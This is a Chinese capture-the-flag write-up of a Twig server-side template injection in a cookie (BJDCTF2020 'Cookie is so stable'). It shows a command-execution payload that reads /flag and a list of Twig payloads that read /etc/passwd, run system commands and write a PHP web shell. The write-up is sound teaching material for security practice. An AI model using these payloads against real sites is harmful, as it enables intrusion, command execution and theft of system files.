[BJDCTF2020]Cookie is so stable(PHP|Twig|SSTI)

简介: [BJDCTF2020]Cookie is so stable(PHP|Twig|SSTI)

信息收集

hint页面

<!-- Why not take a closer look at cookies? -->

flag页面

输入任意内容(这里输入admin)

这里第一反应是cookie类的SQL注入?但是发现这里其实并没有实现查询信息的功能,只是将输入的内容进行打印,看下前端源码,可能是SSTI!

修改cookie

${7*7}----------{{7*7}}---------{{7*'7'}}

确认是SSTI(PHP),根据上文的流程表判定类型是Twig

在 Twig 模板中可以直接调用函数,用于生产内容。如下调用了 range()函数用来返回一个包含整数等差数列的列表:

{% for i in range(0, 3) %}{{ i }},{% endfor %}

在twig 1.x版本,存在三个全局变量

  • _self:引用当前模板实例
  • _context:引用上下文
  • _charset:引用当前字符集

命令执行

payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

这里可以直接修改cookie,因为直接提交会被拦截

当然flag在根目录下是猜的,我们使用命令返回的结果只有第一项

一些新版本的payload

1. {{'/etc/passwd'|file_excerpt(1,30)}}
2. 
3. {{app.request.files.get(1).__construct('/etc/passwd','')}}
4. 
5. {{app.request.files.get(1).openFile.fread(99)}}
6. 
7. {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}
8. 
9. {{_self.env.enableDebug()}}{{_self.env.isDebug()}}
10. 
11. {{["id"]|map("system")|join(",")
12. 
13. {{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
14. 
15. {{["id",0]|sort("system")|join(",")}}
16. 
17. {{["id"]|filter("system")|join(",")}}
18. 
19. {{[0,0]|reduce("system","id")|join(",")}}
20. 
21. {{['cat /etc/passwd']|filter('system')}}

reference

https://xz.aliyun.com/t/7518#toc-5

https://www.freebuf.com/articles/web/314028.html

https://www.cnblogs.com/bmjoker/p/13508538.html

[BJDCTF2020]Cookie is so stable | 信安小蚂蚁

目录
相关文章
|
3月前
|
缓存 安全 PHP
【PHP开发专栏】Twig模板引擎在PHP中的应用
【4月更文挑战第30天】Twig是Fabien Potencier开发的PHP模板引擎,以其易读性、可扩展性、安全性和高性能著称。文章分三部分介绍:1) 通过Composer安装Twig;2) 学习基本语法,如变量、表达式、标签和过滤器;3) 在Symfony和Laravel框架及独立PHP项目中应用Twig。示例展示了如何渲染模板、使用for和if标签,以及在不同框架中整合Twig。
150 0
|
JavaScript PHP Python
PHP:使用rcrowe/twigbridge在Laravel中使用Twig模板引擎
PHP:使用rcrowe/twigbridge在Laravel中使用Twig模板引擎
84 0
PHP:ThinkPHP使用Twig渲染html
PHP:ThinkPHP使用Twig渲染html
154 0
|
11月前
|
关系型数据库 MySQL PHP
PHP 原生操作 Mysql
PHP 原生操作 Mysql
105 0
|
11月前
|
关系型数据库 MySQL 数据库连接
PHP 原生连接 Mysql
PHP 原生连接 Mysql
130 0
|
11月前
|
关系型数据库 MySQL Unix
PHP MySql 安装与连接
PHP MySql 安装与连接
188 0
|
1月前
|
数据库
基于PHP+MYSQL开发制作的趣味测试网站源码
基于PHP+MYSQL开发制作的趣味测试网站源码。可在后台提前设置好缘分, 自己手动在数据库里修改数据,数据库里有就会优先查询数据库的信息, 没设置的话第一次查询缘分都是非常好的 95-99,第二次查就比较差 , 所以如果要你女朋友查询你的名字觉得很好 那就得是她第一反应是查和你的缘分, 如果查的是别人,那不好意思,第二个可能是你。
40 3
|
2月前
|
NoSQL 关系型数据库 MySQL
linux服务器重启php,nginx,redis,mysql命令
linux服务器重启php,nginx,redis,mysql命令
46 1
|
3月前
|
关系型数据库 MySQL PHP
|
2月前
|
Ubuntu 关系型数据库 MySQL
ubuntu apt 安装wordpress所需所有的 一键脚本 扩展您的PHP似乎没有安装运行WordPress所必需的MySQL扩展。
ubuntu apt 安装wordpress所需所有的 一键脚本 扩展您的PHP似乎没有安装运行WordPress所必需的MySQL扩展。
37 0
ubuntu apt 安装wordpress所需所有的 一键脚本 扩展您的PHP似乎没有安装运行WordPress所必需的MySQL扩展。